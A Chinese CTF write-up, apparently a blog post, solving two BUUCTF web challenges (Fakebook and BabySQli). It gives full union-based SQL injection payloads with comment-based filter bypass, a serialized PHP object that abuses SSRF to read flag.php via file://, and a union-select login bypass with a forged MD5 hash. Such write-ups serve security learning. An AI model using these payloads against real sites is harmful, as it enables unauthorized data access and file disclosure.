BUUCTF 12

知识点

联合注入:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

file协议:

中文意思:本地文件传输协议 
什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。 
如何使用File:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf回车。

12-1 [网鼎杯 2018]Fakebook

做题思路

打开之后发现一个注册登录页面,于是 尝试登陆了一下,没成功

便注册了一个账号,登陆进去,没有思路了

由wp得知  这类似于一个注入点

尝试注入,查询字段数  1%20order%20by%205%23 ,发现到5的时候报错 

尝试查询一下数据库,后面发现 unionselect 过滤了,使用/**/代替,存在报错注入:                                                                   ?no=0%20union/**/select%201,database(),3,4#

发现数据库为:fakebook

?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#

发现表为:users

?no=0%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'#

发现列名为:no,username,passwd,data

?no=0%20union/**/select%201,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from fakebook.users #   得到所有数据

发现 data 里面都是反序列化后的值,仔细看看序列化后的字符串,发现就是我们注册时输入的那些值

然后由WP得知 存在隐藏的robots.txt,其中有源码泄漏(/user.php.bak)

接下来的思路就是

代码审计可见大佬WP 发现 其中get()函数存在SSRF(服务端请求伪造)漏洞。

接着便在反序列化中构造file文件协议,然后利用服务端请求伪造漏洞访问服务器上的flag.php文件。   //大佬通过御剑扫描出来的

payload:

?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

最后查看源代码,读取页面中的文件,得到flag

 

12-2 [GXYCTF2019]BabySQli

做题思路

尝试登陆了一下,发现  、

然后尝试性的看了一下源码发现 

发现纯大写+数字,就猜是base32

看见最后两个等于号,猜是base64

这段代码的意思是 查询后台数据库username中等于 输入值 的所有数据

所以 后台数据库的登录逻辑大概是:将输入的用户名与后台数据库中的所有用户名做比较,找出相等的,然后用这组数据的密码与用户输入的密码作比较,若相等,则登录成功

字段一般都是id、username、password这种顺序

所以输入 1’ union select ‘admin’,加密后的密码(为了使登录成功,注入时的union查询中的密码应该为密码框输入的MD5加密)因为MD5较常用

payload

用户名:1' union select 'admin','5f4dcc3b5aa765d61d8327deb882cf99' #

密码:password

成功得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值